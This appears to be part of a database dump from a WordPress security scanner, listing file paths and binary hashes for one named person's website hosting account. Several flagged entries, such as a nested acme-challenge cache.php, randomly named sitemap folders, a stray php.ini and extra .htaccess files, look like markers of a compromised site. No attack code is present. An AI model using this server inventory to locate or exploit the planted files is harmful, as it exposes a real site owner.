('y<~6Z','wp-content/themes/twentytwentyfour/patterns/template-archive-portfolio.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/template-archive-portfolio.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','WImjs-','L92ϮQ\"$NGwH\"m>;<','',0,'?'),
('Jy0m`/','wp-includes/class-IXR.php','/home/trevorkl/trevorklee.com/wp-includes/class-IXR.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2H87qB<c','W:ByiϘt)ڄlOJ¼','',0,'?'),
('q8O;A','wp-includes/blocks/shortcode/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/shortcode/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>`Y<','ŵ3J}g9x 1ʅFސf','',0,'?'),
('P(^NuI','wp-content/themes/twentytwentythree/screenshot.png','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/screenshot.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0;#)7WW:H ','2f|zW924\'g7Лr ;x','',0,'?'),
('\0]pޑ	\rG','wp-admin/css/customize-nav-menus.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/customize-nav-menus.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','슽cnv݅','bs:s,_Ih#=&6S\Z?4','',0,'?'),
('sX3f$','wp-includes/blocks/file.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/file.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#:ĕ|	AF','Anl;FDH\Z?4\\F%V','',0,'?'),
('謤j,=>','wp-includes/blocks/site-logo/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-logo/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@\0ؼc(Y\'~:','BGeJA8*[MQUxm','',0,'?'),
('ͩ@2\Zfl','wp-content/themes/twentytwentytwo/screenshot.png','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/screenshot.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']+tL;,9','͍-Dn>-r118\'-us{#','',0,'?'),
('Ւ@:-M','wp-includes/css/dist/registry.php','/home/trevorkl/trevorklee.com/wp-includes/css/dist/registry.php',0,'6%%5P95z\'','6%%5P95z\'','C*fjbtldӾWE݄','',0,'?'),
('W:]','wp-includes/js/dist/primitives.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/primitives.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9К\Za] 9','l&:q;OJ4\\i&(5dhCz)','',0,'?'),
('QZf2qNvskk','wp-content/plugins/loginizer/lib/hybridauth/Thirdparty/OAuth/OAuthRequest.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Thirdparty/OAuth/OAuthRequest.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>mF	7iˆ~','dS#I[R$!i','',0,'?'),
('<|Ɔ3#`}','wp-includes/blocks/separator/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/separator/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','mfP,f\'׼tOgQ','8vY͜ {kzf7{+','',0,'?'),
('QoH*(','wp-content/plugins/wordfence/images/sort_asc.gif','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/sort_asc.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',I+ƾ=','dCTe&,)ѴFG\ZdON','',0,'?'),
('UMU$','wp-includes/blocks/latest-posts/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/latest-posts/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','f}m/z','?y⌧$UlUxXY','',0,'?'),
('A$>T.','wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ynOXEΰh','S\ZF\\fJfn[@N@!W','',0,'?'),
('+3pU','wp-content/plugins/wordfence/lib/wfOnboardingController.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfOnboardingController.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0IK=z:',':rB,ب?g=T}','',0,'?'),
('\"eAlBE/','wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-gallery.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-gallery.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','kSg0WeJ','2,Rz*n1my;F','',0,'?'),
('Fj!Y{.J=,','wp-admin/images/stars.png','/home/trevorkl/trevorklee.com/wp-admin/images/stars.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[><k{(','/	\"Fa챔<SYg؉F@','',0,'?'),
('U&\re\0r9W','wp-content/themes/twentytwentyfive/patterns/template-single-text-blog.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-single-text-blog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Q0^)V',' GI~_c`,0p$&.Fe*RVP1v','',0,'?'),
(']W/>}<8 VF','wp-admin/includes/theme.php','/home/trevorkl/trevorklee.com/wp-admin/includes/theme.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+c\\{>&','I93H7cFP0U]\"','',0,'?'),
('^.jT}<I','wp-admin/js/accordion.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/accordion.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','O}E d!','acCt-#M!g3_&$\n','',0,'?'),
('fT7:^U','wp-content/plugins/wordfence/css/license/response.1788880300.css','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/license/response.1788880300.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|[\rM,J\'&_s','\n^I<!fhy+|j8\Zمl','',0,'?'),
('gU)\rR(','wp-includes/js/dist/is-shallow-equal.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/is-shallow-equal.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\JYAM?+f1','B;p?TS\Z~\'u:Bs','',0,'?'),
('gX*V˪P','wp-includes/sitemaps/svjbhyp/nogdurq/index.html','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/svjbhyp/nogdurq/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('vA\rwZ^YB','wp-content/well-known/acme-challenge/b/e/d/a/a/cache.php','/home/trevorkl/trevorklee.com/wp-content/well-known/acme-challenge/b/e/d/a/a/cache.php',0,'_\";\nQl\n\"\06_Q','_\";\nQl\n\"\06_Q','퇅	TaܤW&JhG[+hGzޡ','',0,'?'),
('鑱=r!\\f','wp-content/plugins/loginizer/lib/hybridauth/HttpClient/Curl.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/HttpClient/Curl.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':bF','\0z߇Q	<LGư?X','',0,'?'),
('頻yN<9o\Z<','wp-admin/js/xfn.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/xfn.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','<>B25\r1U*','O	h^dLgzIwvƄaZ1','',0,'?'),
('tLH:P(','wp-includes/css/dist/widgets/style.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/widgets/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"#Nu:er',',$<߳99(iDQ|','',0,'?'),
('mMtWB','wp-admin/images/align-left.png','/home/trevorkl/trevorklee.com/wp-admin/images/align-left.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\y0dZo.h','_]<#S\"B^U4_Q<!@x?J$K','',0,'?'),
('鰑<H\n-RɆ+','wp-includes/SimplePie/src/Cache/Base.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Cache/Base.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','S;6K?','dnP(j9zR/ΕwE','',0,'?'),
('l(!Q2s','wp-includes/SimplePie/src/RegistryAware.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/RegistryAware.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6t/U݃Y\"','Pa\n.d1XLoDht]','',0,'?'),
('c8xϵ','wp-includes/blocks/preformatted/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/preformatted/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','SG{Ĉ]51','_pc)k3YHLIWOP]9tS','',0,'?'),
('b%Z724,','wp-content/plugins/akismet/class-akismet-compatible-plugins.php','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/class-akismet-compatible-plugins.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','W\\qAP񠞺','9MJ2n*eLw鸒#wy1~','',0,'?'),
('ХI\'_\\J{7<y','wp-includes/Requests/library/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/Requests/library/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('tZO\' \n','wp-includes/js/thickbox/macFFBgHack.png','/home/trevorkl/trevorklee.com/wp-includes/js/thickbox/macFFBgHack.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ȰgW,/u','Rw/h&q]Z_Ngy','',0,'?'),
('{ٛLHz,{','wp-includes/js/dist/script-modules/a11y/index.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/a11y/index.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','e}!b+-UV','\\tg.QHOJhT','',0,'?'),
('	&TaƘmqk\"','wp-includes/Text/icatnpe/index.html','/home/trevorkl/trevorklee.com/wp-includes/Text/icatnpe/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('	1_E67','wp-content/themes/twentynineteen/sass/forms/_buttons.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/forms/_buttons.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','a|2]e\"$9z','\0Ó\rƱ6 ,J	!d7nh','',0,'?'),
('kLN\0x6@','wp-admin/css/list-tables.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/list-tables.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','WZQ<[[','>UPn1\\:8$/dd(pL','',0,'?'),
('\"6-L','wp-includes/blocks/comment-template/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-template/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','mv3\\A\"','}\n[KBM]EVM\rЃA','',0,'?'),
('%TrÎ3i>ِ\r','wp-includes/blocks/post-comments-link.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-comments-link.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*s|%0b','E,f/@\'4`rO{i|','',0,'?'),
('-.xɤR','wp-admin/includes/privacy-tools.php','/home/trevorkl/trevorklee.com/wp-admin/includes/privacy-tools.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	^	_G','*Z05\04uϏ(;','',0,'?'),
('0Jfx#X{','wp-includes/sodium_compat/namespaced/File.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/File.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']mw/\\y5','ɐtd7H}=.tCw$`c\'','',0,'?'),
('42)A.;4','wp-includes/js/customize-preview.js','/home/trevorkl/trevorklee.com/wp-includes/js/customize-preview.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','x4`^V$j','(\Z8凨&Abɛ1Nw','',0,'?'),
('QA	=H7-','wp-includes/js/jquery/ui/droppable.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/droppable.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%dP#n(','Zlp^tU=<Bݳ9T','',0,'?'),
('r@DZ䯩','wp-includes/sodium_compat/namespaced/Core/Poly1305/State.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/Poly1305/State.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!K	5yS*','TyO%u;U}g1)Z','',0,'?'),
('z?VPH [gG','wp-content/themes/twentytwentyfive/patterns/template-home-posts-grid-news-blog.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-home-posts-grid-news-blog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':9L\\H0鮱ÐZ','g}{B_ͽ[J1zkB{c24S','',0,'?'),
('{F6(M0','wp-includes/js/tinymce/langs/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/langs/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('ZGu첣','wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexMono-BoldItalic.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexMono-BoldItalic.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[fGde','z0xk[ic*͠02Z','',0,'?'),
('ꍥ2jEbg؈Wx','wp-includes/css/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','֦)KB_E>7','9;@u:|0Xb9\0J=i','',0,'?'),
('>u00OIn','wp-content/themes/twentytwentyfour/patterns/footer-colophon-3-col.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/footer-colophon-3-col.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0w	]\ZE','ѲZo߷5Vч1,~vA50XY','',0,'?'),
('ꮔ<,Z','wp-includes/blocks/comments-pagination/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments-pagination/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/NRilЃɜz','AA\n/#jg$rc=GL','',0,'?'),
('Ǉ4˓T`k','wp-includes/js/wp-pointer.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/wp-pointer.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','AV{Mrn?\n','c:8Xܹl8odGhSD%\nM','',0,'?'),
('3M_\nvj^R','wp-includes/js/dist/script-modules/block-library/search/view.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/search/view.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','𠋸d=hQ6iDB','\\49bLٻr:m&v(ك','',0,'?'),
('H&㦖=','wp-includes/blocks/html/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/html/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('6ZfM;','wp-admin/css/site-health-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/site-health-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','p:NFp,x','Ґ s~&\Z2z-$','',0,'?'),
('\njݍea!\ZWdq','wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ٶhrdGͶ','_7	2w-Tb	-710εAf','',0,'?'),
('-n$.#g%}','wp-content/plugins/wordfence/lib/Diff/Renderer/Html/SideBySide.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/Diff/Renderer/Html/SideBySide.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' OّCHؖs ','pXuc{-K׏ژ/OnE0)JB','',0,'?'),
('-Ԩa2rɈHb','wp-content/plugins/wordfence/modules/login-security/css/ionicons.1788880300.css','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/css/ionicons.1788880300.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',TjƇ0jt','Zt]U/.e:Y&`׎˚HP*','',0,'?'),
('0RJ{yˣ','wp-includes/general-template.php','/home/trevorkl/trevorklee.com/wp-includes/general-template.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}o!+\0P','kjDԵ!#Y+A`3^|','',0,'?'),
('F 8+)rP','wp-admin/images/no.png','/home/trevorkl/trevorklee.com/wp-admin/images/no.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','kd$ܟV7','\n>~hZP\0U0;\' {)	>','',0,'?'),
('M\ZH?ͲZ','wp-includes/class-wp-rewrite.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-rewrite.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3bjQy23','KYo|&azx`@BAL','',0,'?'),
('Oӿ;=\\Jzy','wp-includes/js/tinymce/plugins/wpgallery/plugin.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/wpgallery/plugin.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','??g>}','J|x^W`oqB<ses','',0,'?'),
('QF0t+','wp-includes/css/dist/block-library/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Sh_.^7z','`ґܝ(#W7+\ZHZݱoD','',0,'?'),
('S.®','wp-content/themes/twentytwentytwo/parts/header-small-dark.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/parts/header-small-dark.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','I!6^XQ+g','	$$opñy2\"tAk,c\ZIy','',0,'?'),
('U\'ͯ','wp-content/plugins/loginizer/loginizer.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/loginizer.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(7=mG忛\"\r`','7̿x파?~J\r:nSI','',0,'?'),
('_,Ul','wp-admin/user/.htaccess','/home/trevorkl/trevorklee.com/wp-admin/user/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('_1t=qTQ*F','wp-includes/blocks/gallery/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/gallery/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B[TZJ0','\"y:\"f1f;2vIÍs?n','',0,'?'),
('au\"9s?H','wp-content/plugins/wordfence/lib/WFLSPHP52Compatability.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/WFLSPHP52Compatability.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%1sËG','EWٳ?4@U?0bP+h','',0,'?'),
('m+:o]au{','wp-content/themes/twentytwentythree/styles/grapes.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/styles/grapes.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','wǋ+1vA','82(>Mi*M7)X&','',0,'?'),
('sZz`xmf: ','wp-content/themes/twentytwentyone/assets/sass/01-settings/global.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/01-settings/global.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^;<-U^h6H','vX\nU^+	kCǨs[9\\!','',0,'?'),
('xD.m~<2','wp-content/plugins/wordfence/images/ratelimiting.svg','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/ratelimiting.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0[MɞyP','@Sy\'N+kB3J!PbƖ','',0,'?'),
('LM','wp-includes/blocks/comments-title/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments-title/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_eGAl	','ƳTz]	Gbg','',0,'?'),
('뭷\r!z}MLKE','wp-includes/ms-files.php','/home/trevorkl/trevorklee.com/wp-includes/ms-files.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','΄-\'gDOPr','RPW1rs>uXx踶ҟ+','',0,'?'),
('뱰6#|tĸ','wp-content/plugins/wordfence/modules/login-security/classes/model/script.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/script.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','{\"JodiPq','f+!Q\Z|n,uIge8_5I#\n','',0,'?'),
('SڰpGMǯl','wp-includes/css/media-views.css','/home/trevorkl/trevorklee.com/wp-includes/css/media-views.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B꥖},375n','\\<T@}h;UWDDYMH','',0,'?'),
('2|?]ϸ','wp-includes/css/dist/nux/style.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/nux/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']nך6٨(','QaYl[m xmcWZ_','',0,'?'),
('׮Fps4','wp-content/plugins/wordfence/images/back_enabled.jpg','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/back_enabled.jpg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']H','9퇥)R$px#q {#LO','',0,'?'),
('iW;`B<+','wp-content/themes/twentytwentythree/readme.txt','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/readme.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','<\'pe\"w','-\n|6D²ʻ]bLT<~Se','',0,'?'),
('vAdsK]','wp-admin/post.php','/home/trevorkl/trevorklee.com/wp-admin/post.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','q҆K()','=MO4\"VaXQ!g-TY!we','',0,'?'),
('YCooR亞','wp-includes/capabilities.php','/home/trevorkl/trevorklee.com/wp-includes/capabilities.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0׿wf','F?hWI9S>;k))7','',0,'?'),
('&(Ղ','wp-admin/wp-cron.php','/home/trevorkl/trevorklee.com/wp-admin/wp-cron.php',0,'/&&7','/&&7','4g FGF3t=[\n!J/}U_','',0,'?'),
('3g8`L','wp-content/plugins/loginizer/assets/images/social/Facebook-bodered.png','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/assets/images/social/Facebook-bodered.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','n\"\"\0ck','DSe}iic^NPLz8h&','',0,'?'),
('a<9','wp-content/plugins/loginizer/index.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/index.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Cyj5t','A6Z=Iy)>@U9jWn2','',0,'?'),
(' p(邊ȼa','wp-includes/blocks/navigation/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','<^Gdv8`','@PC~dĸ1yssΔL','',0,'?'),
('\"O̕j/','wp-includes/images/media/archive.svg','/home/trevorkl/trevorklee.com/wp-includes/images/media/archive.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}+働ϯ','֞\\_m=:66N~ɥ,Mz','',0,'?'),
('*V!\n+H:KBQ,','wp-includes/Requests/src/Exception/Http/Status511.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status511.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ѻ\Z1EWk','E+A:Sl h	)-*RA$','',0,'?'),
('8ڧs}նNi','wp-includes/class-phpmailer.php','/home/trevorkl/trevorklee.com/wp-includes/class-phpmailer.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\'F!; 2󱻱4&','GZG5_ܚXS[WS:9p@?','',0,'?'),
('?h;','wp-includes/js/quicktags.js','/home/trevorkl/trevorklee.com/wp-includes/js/quicktags.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ʵ>	%nK{<5','mwd^ʋ\r1^K(<nV','',0,'?'),
('D\rh}!\n','wp-includes/js/jquery/ui/effect-drop.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/effect-drop.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','j]v&ZYЈy','#FYO&d\"\nuj','',0,'?'),
('P<hlRA','wp-includes/blocks/list-item/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/list-item/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	>qe	;','Kz2B*c3pr[Qڏ]]','',0,'?'),
('hgi}A%','wp-content/themes/twentynineteen/contributing.txt','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/contributing.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',')\'Zv#v','odQ?!YGwXET(r=','',0,'?'),
('{VcR>ԈA','wp-includes/blocks/code/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/code/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','z\r D-\ZBq','9dXׂlǅ昖e','',0,'?'),
('~zrp;8+ٲ','wp-content/themes/twentytwentyfour/patterns/template-home-blogging.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/template-home-blogging.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\rT_L','T,obԿNfIW֟/$&S','',0,'?'),
('샼QXm','wp-includes/sitemaps/ntueyzv/yvqrbhm/jmzckyd/php.ini','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/ntueyzv/yvqrbhm/jmzckyd/php.ini',0,'Psقdh#K','Psقdh#K',':Aa\'\rIۺw)}WtO','',0,'0'),
('|`yYĶo','wp-content/themes/twentytwentyone/postcss.config.js','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/postcss.config.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','w.QTT','E\r_\n	%ܑE/]ԿC>UKk','',0,'?'),
('젧zXM$G','wp-content/themes/twentytwentytwo/assets/images/bird-on-salmon.jpg','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/bird-on-salmon.jpg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','H~2D؊Eu','mL0YoH|R?@uuiQ1','',0,'?'),
('c.Dr |','wp-includes/js/tinymce/skins/wordpress/images/dashicon-no.png','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/wordpress/images/dashicon-no.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','RZ?f.8	','.c%c*G~բ>Yd:7j','',0,'?'),
('츃v6;~','wp-includes/js/tinymce/utils/mctabs.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/utils/mctabs.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','끡\"Y>xU季','%Y}ڿ&)MaYgЍ*l','',0,'?'),
('-x(EoI=','wp-includes/class-wp-customize-section.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-customize-section.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+oo\nA','Abq\'1+DQ4h','',0,'?'),
('5Vz%','wp-includes/Requests/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/Requests/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('Ư0~\rjA4u','wp-includes/css/customize-preview-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/customize-preview-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E?nZd-','Gi\rliU^nrm5Ώۻ\\l','',0,'?'),
('K5im5d','wp-includes/blocks/math/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/math/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('\\SՇ8;2','wp-includes/class-wp-tax-query.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-tax-query.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0@5U1]ƿ5t','*\\>:t~0SgK+jl','',0,'?'),
('mהF@$~r','wp-content/plugins/wordfence/views/onboarding/disabled-overlay.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/onboarding/disabled-overlay.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E}7=h','rǉz&3MagߐKr<p','',0,'?'),
('&e`9ԣ\n3Y]}','wp-includes/blocks/image/view.min.js','/home/trevorkl/trevorklee.com/wp-includes/blocks/image/view.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4ǹ|?ad','7\nejbu.bG_LOO','',0,'?'),
